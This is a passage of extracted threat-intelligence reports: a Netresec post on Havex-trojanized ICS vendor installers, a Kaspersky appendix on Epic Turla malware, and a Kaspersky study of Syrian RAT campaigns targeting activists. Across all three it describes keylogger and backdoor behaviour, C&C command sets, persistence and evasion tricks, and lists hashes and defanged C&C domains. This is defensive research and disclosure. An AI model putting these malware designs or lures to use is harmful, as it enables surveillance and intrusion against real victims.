GmbH, who are known for their industrial router mbNET and VPN service +mbCONNECT24. +MB Connect Line published a report about the Dragonfly intrusion in September 2014, where they write: +On 16th of April 2014 our website www.mbconnectline.com has been attacked by hackers. The +files mbCHECK (Europe), VCOM_LAN2 and mbCONFTOOL have been replaced with infected +files. These files were available from 16th of April 2014 to 23th of April 2014 for download from +our website. All of these files were infected with the known Trojan Virus Havex Rat. +Image: Screenshot of trojanized mbCONFTOOL installer from our sandbox execution +Company: +MB Connect Line GmbH +Product: +mbCONFTOOL V 1.0.1 +Filename: +setup_1.0.1.exe +Exposure: +April 16 to April 23, 2014 (source: MB Connect Line) +Backdoor: Havex RAT 044 +MD5: +SHA256: +0a9ae7fdcd9a9fe0d8c5c106e8940701 +c32277fba70c82b237a86e9b542eb11b2b49e4995817b7c2da3ef67f6a971d4a +Image: Screenshot of trojanized mbCHECK application from our sandbox execution +Company: +MB Connect Line GmbH +Product: +mbCHECK (EUROPE) V 1.1.1 +Filename: +mbCHECK.exe +Exposure: +April 16 to April 23, 2014 (source: MB Connect Line) +Backdoor: Havex RAT 044 +MD5: +SHA256: +1d6b11f85debdda27e873662e721289e +0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 +Notice how only mbCHECK for users in Europe was trojanized, there has been no report of the USA/CAN +version of mbCHECK being infected with Havex. +We have not been able to get hold of a malware sample for the trojanized version of VCOM_LAN2. The +screenshot below is therefore from a clean version of this software. +Image: Screenshot VCOM_LAN2 installer +Company: +MB Connect Line GmbH +Product: +VCOM_LAN2 +Filename: +setupvcom_lan2.exe +Exposure: +April 16 to April 23, 2014 (source: MB Connect Line) +Backdoor: unknown +MD5: +unknown +SHA256: +unknown +Conclusions on Havex Trojans +The vendors who have gotten their software trojanized by Dragonfly are all European ICS companies +(Switzerland, Belgium and Germany). Additionally, only the mbCHECK version for users in Europe was +infected with Havex, but not the one for US / Canada. These facts indicate that the Dragonfly / Energetic +Bear threat actor seems to primarily target ICS companies in Europe. +Next: Detecting Havex with NSM +We're currently working on a follow-up blog post, which shows how to detect and analyze network traffic +from ICS networks infected with Havex. +Share | +Short URL: http://netresec.com/?b=14ABDA4 +Posted by Erik Hjelmvik on Monday, 27 October 2014 11:11:00 (UTC/GMT) +The Epic Turla Operation: +Solving some of the mysteries of +Snake/Uroboros +Kaspersky Lab Global Research and Analysis Team +Version 1.0 +August 6, 2014 +Technical appendix: malware samples +and indicators of compromise (IOC) +A. Keylogger module +File name: varies +MD5: a3cbf6179d437909eb532b7319b3dafe +Compilation timestamp: 2012.10.02 10:51:50 (GMT) +Compiler: Microsoft Visual Studio 2010 +File format: PE32 DLL +Exports: _LowLevelKeyboardProc@12 +Creates the log file: %TEMP%\~DFD3O8.tmp. If failed, tries to write to the file f:\keyhook.log +Each time the keylogger starts, it appends the following header to the log file: +-------------------------------------------------------------------------------New Session: %fully qualified computer name% %timestamp% +-------------------------------------------------------------------------------- +It then creates a hidden console window and registers its only export _LowLevelKeyboardProc@12 +as a hook procedure for low-level keyboard input events (WH_KEYBOARD_LL hook). +Depending on the results, it writes a line to its log file. In case the hook was installed, the line is +Started... +, else +LoadLibrary +%path to its file% + failed, %error code% +It also starts a thread that retrieves the current foreground window handle every 100 milliseconds. +This handle is then used in the keyboard hook procedure. +The low-level keyboard hook procedure intercepts WM_KEYDOWN, WM_KEYUP and WM_ +SYSKEYDOWN system messages and writes information about each keystroke to the log file. Every +time a new window becomes active, it retrieves its name and the path to its application and writes +this information to the log file: +[%path to the application +s executable file%: +%window title% +TLP: Green +For any inquire please contact intelreports@kaspersky.com +B. The +Epic/Tavdig/Wipbot + backdoor (Main backdoor module) +Analyzed file (others are similar): +Compilation timestamp: 2013.10.15 10:43:09 (GMT) +File format: PE32 DLL, modified (the file is supposed to be started by a custom loader) +Exports: +1000837F: ModuleStart +100083A9: ModuleStop +100083BB: start +The main functionality is implemented in a single function that is called by the DllMain entry point. +The exported functions allow to call the same function directly (exported as +start +) or to start/stop +it in a separate thread ( +ModuleStart +ModuleStop +) and with slightly different parameters. This +indicates the backdoor can also function as a plugin for the Turla Carbon system. +The main function executes in an infinite loop. It collects most of the available information about the +system, transmits it to the C&C server and executes the commands it receives back. The module delays +execution for random periods while it discovers running processes with one of the following filenames: +tcpdump.exe +windump.exe +ethereal.exe +wireshark.exe +ettercap.exe +snoop.exe +dsniff.exe +The following system information is collected: +Hardware information. + Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ +SystemInformation, value names: SystemManufacturer, SystemProductName. + All registry subkeys of the key HARDWARE\DESCRIPTION\System\CentralProcessor, value +name: ProcessorNameString. + Available system memory status, total/free. +OS version information; the newest version known to it is Windows 7 / 2008R2. Unidentified +versions are marked as +not support this version of Windows +Computer name ( +ComputerNamePhysicalDnsFullyQualified +TLP: Green +For any inquire please contact intelreports@kaspersky.com +User name, local group name. +Common directory names: system, current, temporary directories. +Additional system information: + System and user language settings + User locale information: country name, current date, time zone. + Uptime +Disk space information for all available logical drives. +List of available network shares. +List of all user accounts, privilege classes, time of the last logon. +List of current IPV4 TCP connections and UDP listeners. +Information about installed Windows updates from the file +%WINDOWS%\SoftwareDistribution\ReportingEvents.log. +Detailed list of running processes and their owners. +List of all window titles. +Directory listing of available logical drives and of the directories: + Desktop + %TEMP% + %WINDOWS%\Temp +The retrieved information is compressed using bzip2, encrypted with AES and then encoded using +Base64 before being transmitted to the C&C server. When there is a file waiting for upload (usually, +this is file that contains the results of the previously received and executed command), it is read +from disk and uploaded to the server instead of the system information. +The C&C communication is implemented on top of the standard HTTP/HTTPS protocols. The list of +the C&C URLs is hardcoded in the binary but may be overridden by further commands. +C&C server communication cycle +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The module uses Wininet API functions for issuing HTTP POST requests to the server. The module +transmits the collected information in the body of the POST request and gets new commands from the +server +s response. The request body can be empty if there is no new information to upload. The response +is usually an HTML document and the commands are Base64-encoded strings enclosed in
/
+tags. Every command is encrypted using asymmetric encryption with temporary AES session keys. +Each command is a mixed text/binary buffer. It consists of two parts: payload and configuration. +The configuration is an INI file that controls the further behavior of the module. It is extracted +into a temporary file named %TEMP%\~D%random%.tmp. The payload, if exists, is supposed to be an +executable file and may be executed if there is a corresponding command present in the INI part. +The format of the decoded command is the following: +Format of the C&C command buffer +Available commands are: +Name +Description +Execute a command, redirect its output to the file %TEMP%\~D%random%.tmp. +down +Change the C&C URL to a given value. +del_task +Delete a file. +result +Set the filename that is supposed to contain the results of command +execution. Effectively, any existing file may be marked for upload by this +command. +TLP: Green +The file is then uploaded during the next C&C communication cycle. +For any inquire please contact intelreports@kaspersky.com +Name +Description +delete +Mark the file %TEMP%\~tmp085.dat to be deleted on reboot. +name +Set the filename to be deleted or created (depends on other parameters) +TLP: Green +For any inquire please contact intelreports@kaspersky.com +C. Malware samples +Lateral movement tools: +a3cbf6179d437909eb532b7319b3dafe - custom keylogger +1369fee289fe7798a02cde100a5e91d8 - UPX compressed +dnsquery.exe +c0c03b71684eb0545ef9182f5f9928ca - dnsquery.exe +Epic/Tavdig backdoors: +4dc22c1695d1f275c3b6e503a1b171f5 +111ed2f02d8af54d0b982d8c9dd4932e +7731d42b043865559258464fe1c98513 +24b354f8cfb6a181906ceaf9a7ec28b0 +fdba4370b60eda1ee852c6515da9da58 +3ab3d463575a011dfad630da154600b5 +a347af5cc3c5429911e5167b2d30e1ac +6b207521c9175d2274ba3debcc700a1d +cb264c9efa566f41975a3cebf903efb5 +e9c0d32a15a24b1110fcc18ab04a6738 +d102e873971aa4190a809039bc789e4d +d7ca9cf72753df7392bfeea834bcf992 - dropped by the Java CVE-2012-1723 exploits +42b7b0bd4795fc8e336e1f145fc2d27c +ab686acde338c67bec8ab42519714273 +8e90d8b68a053d22b54fb39f1cf01a41 +d22b0ec4e9b2302c07f38c835a78148a +764d643e5cdf3b8d4a04b50d0bc44660 +d31f1d873fa3591c027b54c2aa76a52b +ea1c266eec718323265c16b1fdc92dac +bc2eff0a1544e74462e7377cf0de5a36 +d22b0ec4e9b2302c07f38c835a78148a +86f28e8d9d6bda11abcf93b76074b311 +d28661163ae91848e01a733836bfe0aa +09b7f890ccded1a6210119df8a9a08f9 +5c4a51ce7aa76579616a01a0a3cfab38 +aa58167c57cac1bc562c77766ca249f5 +3a785ede87bfbd2c1c29887e9c36c801 +7731d42b043865559258464fe1c98513 +0e441602449856e57d1105496023f458 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Dropper packages that installs both Epic and Turla Carbon system: +c7617251d523f3bc4189d53df1985ca9 - Postanovlenie apelljacionnoj instancii.scr +0f76ef2e6572befdc2ca1ca2ab15e5a1 - Opredelenie.scr +PDF exploits used in spearphishing attacks drops Epic backdoor: +6776bda19a3a8ed4c2870c34279dbaa9 - Note_ +107-41D.pdf +dba209c99df5e94c13b1f44c0f23ef2b - unknown.PDF +f44b1dea7e56b5eac95c12732d9d6435 - unknown.PDF +4c65126ae52cadb76ca1a9cfb8b4ce74 - unknown.PDF +SCR/EXE files - used in spearphishing/social engineering: +4d667af648047f2bd24511ef8f36c9cc - NATO position on Syria.scr +ab686acde338c67bec8ab42519714273 - Russia position on Syria.scr +1c3634c7777bd6667936ec279bac5c2a - Talking Points.scr +80323d1f7033bf33875624914a6a6010 - Program.scr +77083b1709681d43a1b0503057b6f096 - Security protocol.scr +01a15540481f28163e7b4908034efbe3 - unknown.exe ( +WorldCupSec +6a24071fde3b5d713c58801dcdd62044 - unknown.exe ( +WorldCupSec +626955d20325371aca2742a70d6861ab - unknown.exe ( +TadjMakhal +16eba8e5f0440a213935e1af4976d801 - unknown.exe ( +RussiaPositions +0c35a8f9f9b6ab2f7e3b4408abc61f73 - pdfview.exe +d685403d000f8f6b25a6746f6f05a51c - winword.exe +Fake +Adobe Flash Player + Epic backdoor installers: +7c52c340ec5c6f57ef2fd174e6490433 - adobe_flash_player.exe +030f5fdb78bfc1ce7b459d3cc2cf1877 - Shockwave_Flash_Player.exe +Fake +Microsoft Security Essentials Quick Scan + Epic backdoor installer +89b0f1a3a667e5cd43f5670e12dba411 +Turla Carbon Pfinet backdoors +e9580b6b13822090db018c320e80865f - Pfinet backdoor +071d3b60ebec2095165b6879e41211f2 - Pfinet backdoor +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Turla Carbon package +cb1b68d9971c2353c2d6a8119c49b51f +Related Turla sample module +626576e5f0f85d77c460a322a92bb267 +Java Exploits used in waterhole attacks +536eca0defc14eff0a38b64c74e03c79 +f41077c4734ef27dec41c89223136cf8 +15060a4b998d8e288589d31ccd230f86 +e481f5ea90d684e5986e70e6338539b4 +21cbc17b28126b88b954b3b123958b46 +acae4a875cd160c015adfdea57bd62c4 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +D. Epic C&C Server URLs (hacked sites used as 1st level proxies): +hxxp://losdivulgadores[.]com/wp-content/plugins/wp-themes/ +hxxp://gspersia[.]com/first/fa/components/com_sitemap/ +hxxp://blog.epiccosplay[.]com/wp-includes/sitemap/ +hxxp://gofree[.]ir/wp-content/plugins/online-chat/ +hxxp://homaxcompany[.]com/components/com_sitemap/ +hxxp://www.hadilotfi[.]com/wp-content/themes/profile/ +hxxp://mortezanevis[.]ir/wp-content/plugins/wp-static/ +hxxp://ncmp2014[.]com/modules/mod_feed/feed/ +hxxp://mebroad[.]com/wp-content/gallery/posters/img/ +hxxp://gruenerenate[.]de/wp-content/plugins/bbpress/includes/lang/ +hxxp://www.arshinmalalan[.]com/themes/v6/templates/css/in.php +hxxp://products.parentsupermarket[.]com/phpMyAdmin/ +hxxp://c-si[.]ir/includes/ +hxxp://mkiyanpoor[.]ir/wp-includes/ +hxxp://www.massage-ketsch[.]de/wp-includes/ +hxxp://onereliablesource[.]com/wp-content/plugins/sitemap/ +hxxp://petrymantenimiento[.]com/wp-content/plugins/wordpress-form-manager/lang/ +hxxp://ohsoverydarling[.]com/wp-content/themes/verification/ +hxxp://poissonnerieantoine[.]com/web/wp-content/themes/titan/view/ +hxxp://www.gholghola[.]com/azemashoorhost/smarty/tmpl/ +hxxp://www.saglikdetay[.]com/wp-includes/images/icons/ +hxxp://www.entesharati[.]com/wp-content/plugins/edd-paginate/ +hxxp://iranabad[.]com/sarzamin/cms/application/classess/plugins/ +hxxp://deltateam[.]ir/components/com_sitemap/ +hxxp://akva-clean[.]ru/typo3temp/ +hxxp://discontr[.]com/wp-content/themes/twentytwelve/ +hxxp://curaj[.]net/pepeni/images/ +hxxp://executrek[.]org/components/com_sitemap/ +hxxp://amoodgostar[.]com/wp-content/themes/simplebanner/ +hxxp://gayamore[.]com/gallery/090607/ +hxxp://www.automation-net[.]ru/typo3temp/ +hxxp://www.lacitedufleuve[.]com/Connections1/ +hxxp://www.aspit[.]sn/administrator/modules/mod_feed/ +TLP: Green +For any inquire please contact intelreports@kaspersky.com +E. Intermediary level proxies (hacked sites used as 2nd/3rd level): +hxxp://masterciw[.]com/ +hxxp://khrn[.]tk/wp-includes/ +hxxp://pradlolux[.]cz/system/helper/ +hxxp://original-key[.]com/catalog/controller/payment/ +hxxp://www.noraci[.]com/wp-includes/ +hxxp://tuvpr[.]com/backup/wp-includes/ +hxxp://www.boshraamin[.]com/wp-includes/ +hxxp://www.bestjob[.]my/system/modules/comments/ +hxxp://rollinghillsfitness[.]com/wp-includes/ +TLP: Green +For any inquire please contact intelreports@kaspersky.com +F. Motherships, hosting Epic Control panels and exploits +hxxp://avg-update.sytes[.]net/ +hxxp://newsforum.servehttp[.]com/ +hxxp://newsweek.servehttp[.]com/ +hxxp://adobe.faqserv[.]com/ +hxxp://cqcount.servehttp[.]com/ +hxxp://easycounter.sytes[.]net/ +hxxp://newsweek.serveblog[.]net/ +hxxp://image.servepics[.]com/ +hxxp://bgl.serveftp[.]net/ +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Syrian Malware, +the ever-evolving threat +Kaspersky Lab Global Research and Analysis Team +Version 1.0 +August 2014 +1. Executive Summary +The Global Research and Analysis Team (GReAT) at Kaspersky Lab has discovered new malware +attacks in Syria, with malicious entities using a plethora of methods from their toolbox to hide +and operate malware. In addition to proficient social engineering tricks, victims are often tempted +to open and explore malicious files because of the dire need for privacy and security tools in the +region. In the hopes of maintaining anonymity and installing the latest +protection +, victims fall prey +to these malicious creations. A vast majority of the samples obtained were found on activist sites +and in social networking forums. +The victims are distributed across different countries: + Syria + Lebanon + Turkey + Kingdom of Saudi Arabia + Egypt + Jordan + Palestine + United Arab Emirates + Israel + Morocco + United States +The group members are operating from different locations around the world: + Syria + Russian Federation + Lebanon +The group +s attacks are evolving and they are making extensive use of social engineering techniques +to trick targeted victims into running their malicious files. Among the principal file extensions +observed among the malware samples obtained we can list: + .exe + .dll + .pif + .scr +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The group is relying on RAT (Remote Access Tool) Trojan tools, of which the most common are: + ShadowTech RAT + Xtreme RAT + NjRAT + Bitcomet RAT + Dark Comet RAT + Blackshades RAT +The number of malicious files found is 110, with a big increase seen in recent attacks. +The number of domains linked to the attacks is 20. +The number of IP addresses linked to the attacks is 47. +The samples details and domains lists used by the attackers can be found in the Appendices 1 and 2 +in the end of the document. +Protection and resilience against these attacks is ensured through the use of a multi-layered security +approach, having up to date security products, and mainly by being sceptical about suspicious files. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Contents +1. Executive Summary +2. Introduction +3. Analysis +3.1. Infection Vectors +3.1.1. Skype messages +3.1.2. Facebook posts +3.1.3. YouTube Videos +3.2. Samples and types of files +3.2.1. The National Security Program +3.2.2. Files named +Scandals + are quite attractive +3.2.3. +Ammazon Internet Security + the +popular Antivirus +3.2.4. You +ve installed the latest antivirus solution, now let +protect your network +3.2.5. Whatsapp and Viber for PC: Instant messaging, instant infection +3.2.6. Beware of chemical attacks +3.2.7. Commands and functionality +3.2.8. Evolution of malware attack file numbers +3.2.9. Locations, domains and team +3.2.10. Victims +3.2.11. Activist Behavior +3.3. Attribution +4. Kaspersky Lab MENA RAT Statistics +5. Conclusion +Appendix 1: Samples +Appendix 2: C&C Domains +TLP: Green +For any inquire please contact intelreports@kaspersky.com +2. Introduction +The geopolitical conflicts in the Middle East have deepened in the last few years; Syria is no +exception. The crisis is taking many forms, and the cyberspace conflict is intensifying as sides try to +tilt the struggle, by exploiting cyber intelligence and exercising distortion. +In the last few years cyber-attacks in Syria have moved into the front line; many activities in +cyberspace have been linked to Syria, especially those conducted by the Syrian Electronic Army and +pro-government groups. +The Global Research and Analysis Team (GReAT) at Kaspersky Lab has found new malware attacks +in Syria, using new but not advanced techniques to hide and operate malware, in addition to using +proficient social engineering tricks to deliver malware by tricking and tempting victims into opening +and exploring malicious files. The malware files have been found on hacked activist sites, web pages +and in social networking forums. +Cyber Arabs, an Arabic-language digital security project of the IWPR (Institute for War and Peace +Reporting), reported four of these samples in March 2014. The same samples were also reported +on Syrian Facebook pages ( +, Technicians For Freedom): https://www.facebook.com/ +tech4freedom +Given the complexity of the situation, there are many factors and entities at play in this event, but +from the outside these are all largely speculative. Pro-government groups talk about +defense + and +opposition activists talk about +offense +. Here, we will only focus on the malware and the facts that +have been found during the analysis, presenting only relevant information, in the hope of setting a +clear context for this research. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3. Analysis +3.1. Infection Vectors +Malware writers are using multiple techniques to deliver their files and entice the victims to run them, +creating an effective infection vector. Mainly depending on social engineering the attackers exploit: + Victims + trust in social networking forums + Victims + curiosity in following news related to political conflict in Syria + Victims + fear of attacks from government + Victims + lack of technology awareness +Once they have infected the victim +s computer, attackers have full access and control over victim +devices. In the following section we show different versions of posts sent via popular file sharing +sites or social networking platforms. The sample details and domain lists used by the attackers can +be found in the Appendices 1 and 2 in the end of the document. +3.1.1. Skype messages +Messages sent via Skype offer links to download: +1. The +SSH VPN + program to encrypt communication +2. The popular and effective antivirus with daily updates from +Ammazon Internet Security +3. The +SmartFirewall + to block connections made by malware and bad programs +The messages are usually sent from fake or compromised accounts. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.1.2. Facebook posts +The same messages sent via Skype are also shared via the Facebook social platform, asking victims +to install these +security programs + to protect themselves from malware infections and cyber-attacks, +especially government attacks. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.1.3. YouTube Videos +In the following example, we can see a YouTube video providing links to download fake Whatsapp +and Viber applications for PC. By using everyday technologies that are commonly used by a broad +audience, attackers increase the effectiveness of their operations and their infection rates. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.2. Samples and types of files +Analysis has led us to identify the following RAT variants being used in the wild: + ShadowTech RAT + Xtreme RAT + NjRAT + Bitcomet RAT + Dark Comet RAT + BlackShades RAT +The samples collected during our research can be classified as follows. +Old samples +Samples obtained during 2013 are simple RAT executable files, compressed and sent to victims +using a wide range of delivery options. Newer samples were typically found to use +.scr + containers +in order to hide malicious files and avoid early detection by security solutions. +New samples +More recent samples, starting from the end of 2013, have shown a more organized development +effort, creating highly stealth and graphically-enticing applications. +In this analysis we have seen how Syrian malware has evolved, showing no signs of stopping any +time soon. Even though new malicious Syrian samples are appearing each day, the subset presented +here will hopefully give the reader an overall view of the techniques and tools that are currently +being used to target Syrian citizens. +3.2.1. The National Security Program +Curiosity killed the cat: browsing a previously leaked spreadsheet of wanted activists leads to +infection. +We found a set of compressed files on a popular social networking site; when, extracted it +showed a database containing a list of activists and wanted individuals in Syria. A video entitled +was published on November 9 2013, and +the download link for this database application was included in the information section of the video. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The download URL redirected victims to a file-sharing service where the file was being hosted. The +compressed RAR file +.rar +, with the MD5 signature 0c711bf29815aecc65016712981 +59a74 and a file-size of 7,921,063 bytes was protected with the password +111222333 +The video requests the victim to scan the password protected +.rar + file using VirusTotal to verify +that it is not infected. +After extracting all the files to a temporary folder, we were presented with the application itself and +a text file needed to access the +hidden + features of the program. +The file +PASSWORD.txt file + contained the following text: +syria123!@# +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Upon closer inspection, the first and last buttons of the application were functional, but the others +generated error messages (claiming that some files were missing). +The first button ( +, General Global File) uses +data-base.db.exe + (MD5 8f16efb51fe67961e +e31c4f36cbe11db), which was placed into +C:\Users\User\AppData\Roaming +and, when executed, +extracts the Excel spreadsheet file +Data-Base.xslx + (MD5 f0a8a1556efbb106b6297700d4cce61b) +from the +Data-Base.db + (MD5 95a5c3e91bbb4a3a323433841fbef82a) file in the main folder. +The last button ( +is the exit button. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Here is some interesting information worth noting: +.exe + is not detected as a malicious file. + The file +data-Base.db + is detected as a malicious file. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The file +data-base.db + is a compressed archive: + Product name from the file signature: Project1 + Publisher name from the signature: Syrian malware + Compilation Timestamp: 2013-11-09 14:47:26 +When system32.exe is run, the process +iexplorer.exe + is spawned and is automatically registered for +Startup. The file connects to the IP address 31.9.48.7 TCP on port 999. As mentioned in previous +reports, the IP address 31.9.48.7 belongs to the Syrian Telecommunications Establishment (STE). +Other temporary files used for the infection were also detected, such as +system32.exe + (MD5: +9424b355a3670fd7749d3d25cbea18cb) which was copied into the +C:\Users\user\appdata\ +local\temp\ + folder. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The presence of DarkComet +DC_MUTEX-* + was a giveaway of the usage of this remote +administration tool. +During infection, the Excel spreadsheet is displayed, comprising 96763 rows and 13 columns of +activist information. The rows correspond to records of individuals wanted by the government and +the columns correspond to information about the individuals. While there is no column description, +data in each column reflects the type of data. +3.2.2. Files named +Scandals + are quite attractive +Using shockingly disturbing videos to distribute malware +A disturbing video showing injured victims of recent bombings was used to appeal to people +s fear +and exert them to download a malicious application available in a public file-sharing website. After +our initial analysis, the file named +.exe + proved to be heavily obfuscated with the commercial +utility +MaxToCode + for .NET as a means of avoiding early detection by antivirus solutions. +When executed, the original sample created another executable file in the Windows + temporary +folder (C:\Users\[USERNAME]\AppData\Local\Temp) named +Trojan.exe +, which corresponds to +the code of the RAT itself. This is used to save all keystrokes and system activity to another file in +the same location, +Trojan.exe.tmp +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Captured information is sent to a dynamic domain corresponding to the host +hacars11.no-ip.biz +using local port 1177 with no SSL encryption (but base64 encoded), making the analysis of the +network traffic a much easier task. During the initial connection to the remote server (after an initial +ping to check for internet connectivity), the Trojan will send the machine +s name, installed Windows +version, logged username, webcam availability and the version of the RAT in use. +Several embedded command line scripts are in charge of adding the Trojan +s executable file to the +Windows Firewall allowed list, while at the same time disabling security zone checking in Internet +Explorer. System persistence is obtained via a modification in the +Software\Microsoft\Windows\ +CurrentVersion\Run + registry key and by adding a copy of the malware to the Startup folder. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Even though different obfuscation techniques are used in the samples we analysed, all of them have +underlying dependencies on the .NET framework namespaces, which eventually allows deep source +code inspection of the threat. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.2.3. +Ammazon Internet Security + the +popular Antivirus +If you thought the era of fake antivirus programs was over, here comes a newly developed sample +to challenge your beliefs. With the innocent title of +Ammazon Internet Security +, this malicious +application tries to mimic a security scanner, even including a quite thorough graphical user +interface and some interactive functionality. +Again, this shows the simplicity of creating a graphical user interface that will trick most of the nontech-savvy population. Using nothing more than a couple of buttons and a catchy name, Syrian malware +groups were hoping that the intended victims would fall for the trap. Analyzing the code interestingly +revealed that it has the look--feel of a security application; but, of course, no real security features. While +silently executing a remote administration tool when launching this +security suite +, targeted victims +were left without their +Ammazon + protection but witha RAT installed. +From the Windows process list shown in Process Explorer, we were able to see +J. L Antivirus 4.0 +executing in our system, and through Process Monitor we caught the creation of the +analysis + log +file for our fake antivirus. Behind the curtains, a connection is made to a remote host, sending real +time information on all our activities + the real cost of this free internet security suite! +Among the many programming methods found inside the source code, we were even able to find +CheckForUpdates + function; and if you look closely enough you can even see +Detection + and +Quarantine + assemblies included in this application. So, not only has a lot of work gone into creating +this fake antivirus, the authors also followed good programming practices and implemented modules for +each specific (albeit fake) functionality. Maybe at a really quick first sight this could pose as a legitimate +tool, but a deeper inspection reveals its true malicious nature. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The real log file was one where all keystrokes were recorded and later sent from the computer via a TCP +connection. Even though this type of keylogging functionality is nothing new, when we consider how +these malicious applications are being used, and the control they give to the attackers, we can start to +measure the importance of reporting these threats and providing protection from them. +Evidently, the malware authors didn +t care much to provide an option to close the +antivirus +and if you were to kill the process you would get a nice +blue screen of death + and an unexpected +system reboot. Surely, the fake application will load again once everything is back up, creating an +interesting method for guaranteeing persistence. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.2.4. You +ve installed the latest antivirus solution, now let +protect your +network +Total Network Monitor (which is a legitimate application) was inside another sample we found, +used with embedded malware for spying purposes. Offering security applications to protect against +surveillance is one of the many techniques used by malware writing groups to get victims who are in +desperate need for privacy to execute these dubious programs. +An almost fully functional version of the +Total Network Monitor + utility is included. What this +modified version does not show is the remote connection made to a host where f system information +is dumped. The actual infection is performed when first clicking on the installer, which uses +obfuscation to hide all malicious activity until the +legitimate + tool is completely installed. +As with other samples reviewed, system persistence is obtained by modifying Windows start-up registry +keys. Using names such as +Desktop Manager + increases the likelihood for this threat to go unnoticed. +However, the entry name +empty + or +empty.exe + should raise a red flag when auditing these keys. +3.2.5. Whatsapp and Viber for PC: Instant messaging, instant infection +As with other samples, social engineering does all of the heavy work. Instant messaging applications +for desktop operating systems have been used in the past to spread malware and it seems that Syrian +malware authors have jumped on the bandwagon. In contrast to the +Ammazon Internet Security +, these +samples don +t contain any graphical user interface or even an error message that will tell the victim not +to worry about their security. Heading straight for system infection has proven successful for them, and +using these popular application names gets the interest of a much larger audience. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The following screenshot shows how the application name, intended functionality and even the icon +used, all work in conjunction to create a believable story for the victim. And this is not a comprehensive +list, by any means. Framing and social engineering techniques are playing an essential role in all Syrian +related malware threats and the trend suggests that the complexity of them will only keep on increasing. +3.2.6. Beware of chemical attacks +Another attack uses social engineering tricks. The sample 38e3bc8776915dbd2e55a4d90f85a872, +named +Kimawi.exe + and with JPG icon, is a RAT file bound to the picture +Kimawi.jpg +. This +picture is a previously leaked paper supposedly by the regime in Syria warning military units to +prepare for chemical attacks from friendly units. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Kimawi.jpg +3.2.7. Commands and functionality +Different remote administration tools have been spotted in the wild; most of them provide an +extensive range of functionality to fully control infected systems. These include: +Keylogging +Capturing screenshots and webcam control. +Recording live sound/video. +Installing programs +Uploading/downloading files +File, process and registry key management +Remote shell +Executing DDoS attacks +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Among the most popular RAT found in the samples subset is Dark Comet, a free remote +administration tool that provides a comprehensive command set for the attackers to use in their +malicious purposes. +DarkComet Control panel & Functionality +Another RAT widely used in the Arab world is NjRAT, which includes a list of commands (see +below) that can be sent from the controller to the infected system. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Command +Option +Function +PROC +Retrieve information about current running process +Kill a process +Kill list of processes and delete module files +Restart a running process +Start a CMD and direct STDIN and STDOUT to be controlled +by C&C +Send command to CMD +Terminate CMD process +Retrieves keylogging file +Information about system Drive, malware status +Download and run a file from a specified URL +Screenshots, desktop monitoring +Ping +Completely Uninstall Trojan +Terminate Trojan Process +Restart Trojan +TLP: Green +Update Trojan +Enumerate Registry Key +Set Key Value +Delete Registry Key +Create SubKey +Delete SubKey +For any inquire please contact intelreports@kaspersky.com +3.2.8. Evolution of malware attack file numbers +The attackers are working on full power, and the number of attacks and malicious files being +distributed is constantly increasing as they become more organized and proficient. Below is the +timeline distribution for malicious files distributed during 2013-2014, based on the first time they +were distributed or seen in public (Skype, Facebook, file-sharing, email, etc.). +Below is the timeline distribution for the collected samples based on compilation time +Samples timeline based on compilation time +Q2 2012 +TLP: Green +Q3 2012 +Q4 2012 +Q1 2013 +Q2 2013 +Q3 2013 +Q4 2013 +Q1 2014 +Q2 2014 +For any inquire please contact intelreports@kaspersky.com +The samples details and domains list used by the attackers can be found in the Appendices 1 and 2 +in the end of the document. +3.2.9. Locations, domains and team +The group responsible for the attacks is using common techniques shared by many of the hacking groups +around the world. They benefit from dynamic domains that can be linked to their modem devices and +configured with forward functionality to a public IP address assigned by the ISP. By restarting their +modems they obtain a new address, creating a dynamic infrastructure that can be easily managed. +Dynamic Update Clients (DUC) on their computer devices (usually the same as the RAT server) are in +charge of having the dynamic domain provider update to the newly assigned address. +One of the videos by one of the attackers has shown one of the group members using a TP-Link +modem model TD-W8968, commonly found in SOHO environments. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +YouTube page for one of the Attackers Showing videos about their web defacements, cyberattacks and an interview with radio channel talking about their hacking achievements +Since the end of 2013, the group has extensively relied on a class C IP subnet, 31.9.48.0/24, +provided by TARASSUL ISP (Syrian Telecommunications Establishment) for its attacks. We suspect +this subnet has been allocated to the group, also an indication that they are now operational from a +single location. +In early 2014, the group moved to an IP address in Russia (31.8.47.7), to launch multiple new +attacks. +Information on domain +All4Syrian.com +This domain is registered for the email aloshalaa@gmail.com. It served as a pro-regime website back +in 2012 and is being used for the C&C of some of the RAT files. +The domain was registered to okpa1984@gmail.com from 2011 to 2013. +Malware has also been seen connecting to xtr.all4syrian.com and vip.all4syrian.com. +Attackers + geographical distribution +The map below shows the attackers + geograhical distribution based on the geolocation of the IP +addresses used by the C&C servers: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +3.2.10. Victims +The distribution of victims is confined only to Syria, but also reaches nearby countries. We have +observed victims of the Syrian-based malware in: + Syria + Lebanon + Turkey + Kingdom of Saudi Arabia + Egypt + Jordan + Palestine + United Arab Emirates + Israel + 